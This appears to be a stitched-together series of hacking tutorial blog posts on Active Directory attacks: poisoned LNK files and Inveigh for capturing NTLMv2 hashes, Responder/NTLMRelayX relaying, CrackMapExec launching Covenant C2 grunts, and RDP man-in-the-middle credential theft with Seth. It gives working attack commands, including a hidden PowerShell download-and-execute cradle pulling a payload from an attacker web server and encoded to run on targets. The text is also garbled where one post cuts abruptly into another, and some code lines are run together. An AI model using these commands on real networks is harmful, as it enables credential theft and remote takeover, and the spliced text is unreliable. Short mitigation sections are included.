Hacking Tutorial

# Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

• Overview of the Attack
• Topology of the Network
• Performing the Attack
• How Do We Mitigate This?

## Overview of the Attack

### What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

### When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

## Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

• Acts as the domain controller.
• Has a FQDN of king.nba.local.
• Hosts up a file share at \\King\Share

First Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kBryant domain user.
• O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kIrving domain user.
• O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

• Not domain joined.

## Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."$lnk.HotKey = "Ctrl+Alt+O"
Get-Inveigh – get data from the $inveigh hashtable Stop-Inveigh – stop all running Inveigh modules Watch-Inveigh – enable real time console output Note: When using Get-Inveigh, I like to add the -NTLMv2 parameter to return all NTLMv2 hashes that were captured. ## Capturing Hashes in Inveigh As long as you have your listener running from before, capturing the hashes should be trivial. We just need to wait for LLMNR to kick in, or for a user to browse your SMB/HTTP shares. Let’s give things a little push in my virtual environment, by attempting to browse to a share that doesn’t exist. Once we do that, we can head over to our Inveigh window. If you have live output being displayed, you should see the NTLMv2 hash presented to you. If you do not have live output running, you can issue the following command into your PowerShell window. Get-Inveigh -NTLMv2 ## Relaying Hashes Captured w/ HTTP Proxy In addition to capturing hashes, we can also relay hashes as long as their captured in our HTTP proxy. However, this may be a bit of a challenge, because majority of hashes are captured via SMB. Inveigh does not currently support relaying hashes captured via SMB. To being, we’ll import the Inveigh-Relay.ps1 module. . ./Inveigh-Relay.ps1 And then the syntax is very straightforward. We just need to specify the target to relay our Net-NTLM hash to, along with what command to run once we have a valid administrator account captured. In addition to this, Invoke-InveighRelay also has some additional “Attack Modes”. • Enumerate – The enumerate attack can perform Group, User, Share, and NetSession enumeration against a target. • Execute – Performs PSExec style command execution. In previous versions of Inveigh Relay, this was the only available attack. Note, they removed SMB1 support. • Session – Inveigh Relay can now establish and maintain privileged/unprivileged authenticated SMB sessions. The sessions can be accessed with Invoke-SMBClientInvoke-SMBEnum, and Invoke-SMBExec from their Invoke-TheHash project. Inveigh Relay will attempt to keep the sessions open as long as the module is running. My example command will look like this. Invoke-InveighRelay -ConsoleOutput Y -Target <targetIP> -Command "whoami" -Attack Enumerate,Execute,Session Now here’s the issue. I mentioned that we couldn’t relay a SMB connection like we can with Responder. This means browsing to a fake share no longer does anything for us. However, we can browse to our hosted HTTP proxy as a quick proof of concept. Now there is a lot going on in this image, but let’s break this down. 1. On the left side, we can see the victim browsed to the HTTP server hosted by Inveigh. Inveigh then relayed that hash to the specified target. 2. Because the user had local admin rights on the target, we could see that we were successfully able to enumerate the local admin users and custom file shares. 3. We were also able to execute the command we specified when setting up our Invoke-InveighRelay command. ## Performing SMB to SMBRelay w/ Inveigh Previously, I said we are unable to relay a captured hash from SMB to a target via SMB, which is why I had to do my proof of concept using the HTTP Proxy. However, the creator of Inveigh, Kevin Robertson, has had luck with blocking port 445 to encourage clients to use WebDav Port 80 as a failover. This did not work for me in my test lab, but I wanted to mention it here in case it works for you. ## Conclusion Overall, I think Inveigh is a handy tool if you’re in a pinch, or dealing with a Windows-only scenario and want to try your luck at capturing Net-NTLM hashes. However, I think I still prefer Responder as it seems to be more feature rich for relaying hashes than what we’re currently able to do with Inveigh. What are your thoughts? Hacking Tutorial # Abusing LLMNR/NBT-NS in Active Directory Domains: Part 3 (Relaying Net-NTLM Hashes w/ Responder & NTLMRelayX) Other Parts in Series: In this guide, I will show you how to take these captured NTLMv2 hashes and relay them to vulnerable machines on the same network, completely bypassing the need to crack them! Part 3 Table of Contents: • Wait, Am I Relaying or Passing? • Overview of the Attack • Let’s Talk Prereqs • Topology of the Network • Setting up the Attack • Performing the Attack • Mitigation ## Wait, Am I Relaying or Passing? Before we dive in too deep, I do want to take a moment to clarify the difference between relaying a captured hash, and passing a captured hash. • You CAN perform Pass-The-Hash attacks with NTLM hashes. • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes. So where do you get a NTLM hash? These are the type of hashes that are captured when you use a tool like SecretsDump.py to extract the contents of a SAM database. These type of hashes are stored on a system and cannot be relayed over the network. However, you can take a hash in this format and “pass” it to another machine using a tool like PTH-WinExe. While it’s not a full blown tutorial, you can read more about using this tool in a post I made titled Popping Remote Shells w/ winexe & pth-winexe on Windows. Net-NTLM, cannot be passed around the network. This means in order to use this type of hash to authenticate to another machine, you must capture this hash while it is in transit, and then relay it to a destination that you control. Showing how to do this is the purpose of today’s guide. ## Overview of the Attack If you’ve gone through my previous guides, you already know that we can use a tool called Responder to be intercept any LLMNR broadcasts on the network. By responding to these requests, we are able to capture Net-NTLM hashes from the user account that initiates the request. Relaying this hash uses the same method, except instead of presenting the hash to us as the hacker, we relay it to a different machine that we’d like to get control of. As long as the hash we captured belongs to a user with admin rights on our destined machine, we should be able to get command execution to take control of it. ## Let’s Talk Prereqs Alright so we know that we must relay a Net-NTLM hash, but what else is required for this attack to work? • You must be on the same network as the victim(s). This means that if your attacking machine is in a different subnet/broadcast domain, you will be unable to capture the Net-NTLM hash. • LLMNR must be enabled in the network (enabled by default). • SMB Signing must be disabled or not required on the target machine. This is the default configuration for most Windows desktop operating systems. Windows Servers will usually have SMB Signing enabled and enforced by default. • The Net-NTLM hash that you capture must belong to an elevated user on the target machine in order for you to get command execution. ## Topology of the Network In our scenario, we have four machines that are all a part of the same internal network. Windows Server 2019: • Acts as the domain controller. • Has a FQDN of king.nba.local. • IP address is 10.0.1.10 First Windows 10 Machine: • Joined to the nba.local domain. • Is used by NBA\kBryant domain user. • IP address is 10.0.1.11 Second Windows 10 Machine: • Joined to the nba.local domain. • Is used by NBA\kIrving domain user. • IP address is 10.0.1.200 Attacker Kali Linux: • Not domain joined. • IP address is 10.0.1.5 ## Setting up the Attack To begin, let’s head over to our Responder directory. I like to store mine in /opt. cd /opt/Responder Find the Responder.conf file and edit it using your favorite text editor. In order for us to run NTLMRelayX later, we’ll need to turn off the SMB and HTTP servers. If we don’t take this step, NTLMRelayX will be unable to utilize these protocols later. With those servers disabled, we’re ready to fire up Responder. You’ll need a few flags for this to work correctly. -I : Used to provide the interface that we’re going to listen on. -r : Enable answers for netbios wredir suffix queries. -d : Enable answers for netbios domain suffix queries. sudo python Responder.py -I eth0 -r -d -w With Responder running, we need to now configure NTLMRelayX so that we can forward any captured Net-NTLM hashes to a target of our choosing. We’ll start by changing into the impacket directory and then use a command similar to the one below. cd /opt/impacket sudo ntlmrelayx.py -t <target> -smb2support Note: You’ll need to include the -smb2support flag unless the machine you’re targeting supports SMBv1. With both commands running, we finally have our attack setup. Instead of targetting just a single machine, you could also use the -tf targets.txt flag to provide a list of targets. ## Performing the Attack At this point we have everything set up. Now we just need to sit back and wait for LLMNR to do it’s thing. If we wanted to give it a little push, we could manually browse to a file share that doesn’t exist from a machine that differs from who we are targeting. At this point, the hash of the user account we issued that request from would be captured and then relayed to our specified target(s). If this user happens to be a local administrator account, NTLMRelayX will dump the SAM database by default. If we wanted to get more creative, we could also use the -c flag to specify a command to run. Combine this with your favorite C2 launcher (perhaps Covenant), and you’ve got some real nasty stuff going on here. As a quick proof of concept, I’ll just issue a basic whoami command. sudo ntlmrelayx.py -t <target> -smb2support -c "whoami" ## Mitigation There are a few ways to mitigate this attack vector. 1. Disable the LLMNR protocol in your environment. If this wasn’t running to begin with, we wouldn’t be able to capture the Net-NTLM hash so easily. However, this isn’t fool proof as there are other ways to intercept these hashes in a network. 2. Enable and Enforce SMB Signing. This attack requires SMB Signing to be Not Enforced in order to work successfully against the target machines. By default, SMB Signing is typically enabled on Windows Server operating systems, but disabled on Windows Desktops. 3. Don’t give users local admin rights, especially not on multiple machines. If we are unable to capture elevated user hashes, we’re unable to get command execution on the target machines. More to come on mitigation in the future, including step by step instructions on creating and configuring GPOs. Hacking Tutorial # Using CrackMapExec to Install Covenant C2 Launchers CrackMapExec is a wonderful tool to leverage once you have valid domain credentials. If you happen to have elevated domain credentials, the possibilities become endless on what you can do. I was recently on an internal network engagement where I was able to pull down cleartext credentials to a domain admin account. CrackMapExec allowed me to easily execute commands and dump SAM tables, but what else can I do to take this to the next level? This is where Covenant C2 comes in! I found lots of blog posts online that talk about how to install and set up Covenant, but I couldn’t find anything that clearly showed how to leverage a tool like CrackMapExec to actually get Grunts connected. This post aims to serve as a guide to fill that gap. Table of Contents: • Installing Covenant C2 • Setting up the Listener. • Setting up the Launcher • Shortening the Encoded Launcher • Hosting the Launcher on a Different Webserver • Encoding Custom Payloads • Using CrackMapExec to Launch Covenant Grunts ## Installing Covenant C2 I don’t really want to go into detail on how to set up Covenant, but there are some awesome articles that go into more depth on this topic. git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant dotnet build dotnet run ## Setting up the Listener Also, this is going to go into depth on this, but this is the Listener that I set up in order for my example demonstration to work. BindAddress: 0.0.0.0 BindPort: 8081 ConnectPort: 8081 ConnectAddresses: Your routeable address to this instance. ## Setting up the Launcher Now that we have a Listener, we need to generate a Launcher. Since CrackMapExec has the ability to execute commands, we’ll leverage PowerShell for this. Go ahead and fill out the settings that you need for for your engagement. Once it’s ready, click Generate. This should generate two commands that you can then run against a system to spawn a Grunt instance, one that is encoded and one that isn’t. In order for us to use CrackMapExec, you’ll need the Encoded Launcher. I suggest testing this out by running it against a Windows machine you control to make sure things are set up correctly. ## Shortening the Encoded Launcher By default, the Encoded Launcher that gets generated is likely too long to use with CrackMapExec. Instead, we’ll need to create our own Encoded Launcher that will leverage the Invoke-Expression cmdlet to download and execute a web-hosted payload. If you’re going to host this launcher with Covenant directly, you can click on the Host tab and specify the path for the file. The non-encoded command we’re looking to create will look similar to whats noted below. Again, you’ll need to make sure Covenant is hosting the file up in order for you to be able to use it. powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://<localhost:8081/launcher.ps1')"  The encoded version of this payload will be much shorter and should be able to be passed to CrackMapExec. ## Hosting the launcher on a different machine If you’re going to host the file from a different machine, you’ll need to Encode your own command instead of using the provided command. This can be achieved by doing the following. First, you’ll need to navigate to the Launcher’s Generate tab and Download it to the system you wish to host it on. Once this PowerShell script is present on the target system, feel free to host it up with your favorite web hosting tool. In my example, I’ll leverage Python to do this. sudo python -m SimpleHTTPServer 8082 Now we need to craft our powershell command that will go out to this webserver, download, and execute the payload into memory. The command should look something like this before encoding. The only difference between this and the one that Covenant produces is the web address. powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://webServer:8082/launcher.ps1')"  ## Encoding Custom Payloads To generate the encoded command we need to run, we can use the following commands in PowerShell. You’ll want to replace$string with the contents of your -command flag mentioned above.

$string = "iex (New-Object Net.WebClient).DownloadString('http://<webServer>:8082/ps.ps1')"$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string)) echo$encodedcommand


For Linux Users: Or, you could also place your PowerShell command into a .ps1 script and run the following to get the encoded command out of Kali.

cat file.ps1 | iconv -t utf-16le | base64 -w 0

Then you can take the output from your echo/cat command, paste it into the placeholder below, and test to make sure your launcher works properly.

powershell -Sta -Nop -Window Hidden -EncodedCommand <encodedCommand>


## Using CrackMapExec to Launch Covenant Grunts

Now that we have our command ready, we can simply pass that to CrackMapExec like this.

sudo crackmapexec smb <target(s)> -u <user> -p <password> -x '<encodedCommand>'

Donations and Support:
Like my content? Please consider supporting me on Patreon:

Purchase a VPN Using my Affiliate Link

Hacking Tutorial

# Performing RDP Man in the Middle (MitM) Attacks Using Seth.sh to Steal Passwords

Are you used to getting inundated with invalid certificate prompts when connecting to a remote machine? Way more often than not do I see self-signed certificates in play when establishing RDP connections. This always left me wondering… Surely this opens the door to a Man in the Middle Attack?

Insert Seth! Which is described by its authors as “A tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials.”

• Installing the Tool
• Setting the Stage
• Performing the Attack
• Mitigation Strategies

## Installing the Tool

You can download the tool from GitHub by using the following command.

sudo git clone https://github.com/SySS-Research/Seth.git

We have a couple prerequisites to install.

sudo apt install dsniff -y

## Setting the Stage

In my demo, we have three virtual machines in play.

1. Attacker VM running Kali Linux at IP address 10.0.0.139
2. Victim VM running Windows 10 at 10.0.0.20
3. Server/Destination VM running Windows 10 at 10.0.0.250.

The victim is going to sign into his computer, and then attempt to perform a RDP connection to the Destination VM at 10.0.0.250 using his domain credentials, NBA\dLillard. When he attempts the connection, he is prompted to enter a password.

Because IT admins are usually lazy, all machines are just using their self-signed certificates which generate certificate errors when users connect. Many users in the real world are actually numb to these errors because this is such a common misconfiguration left far too often. Because of this, majority of users will just ignore the certificate error that gets generated during the Man in The Middle attack.

## Performing the Attack

The tool is actually very simple to use.

sudo ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP>

Using the above syntax, our command will look like this.

sudo ./seth.sh eth0 10.0.0.139 10.0.0.20 10.0.0.250

When we execute the above command, we just need to wait for the victim to attempt their RDP connection. Once they do, they’ll be treated with their normal credential and certificate error prompts, which should return their cleartext credentials to us.

The above example is showing output from Seth when the destination machine does not require NLA authentication. However, domain joined Windows 10 machines will enforce NLA by default, which means we will not be able to forward the connection request off to the server in order to establish the connection.

However, even with NLA enabled, Seth will spin up a fake server in order to attack the client and receive the cleartext credential. The end user’s connection attempt to the server will fail, but we’re still able to utilize the tool to grab what we need.

### Warning When Using Against Local User Accounts

Be careful when using this tool against machine that are not domain joined, or against machines that authenticate over RDP using local user accounts.

I found that when I attempted to perform the attack to non-domain joined machines, the invalid hostname was passed to the destination server. The login was attempted using the local user account to the hostname of the victim, and not the local user account on the hostname of the destination. The attack still “worked” because I was able to extract cleartext credentials, but the end user was unable to authenticate to their destined computer and would know something was wrong.

## Mitigation Strategies

Configure clients so they do not establish connections to a RDP host if they cannot verify its identity. This will require Public Key Infrastructure, either by purchasing public certification or rolling out your own infrastructure.

Windows machines can be configured in this way using the following GPO:

Computer Configuration\Policies\Administrative Templates\Windows Components\Remote Desktop Services\Remote Desktop Connection Client\Configure server authentication for client

TAKE CERTIFICATE WARNINGS SERIOUSLY.. mm.kay?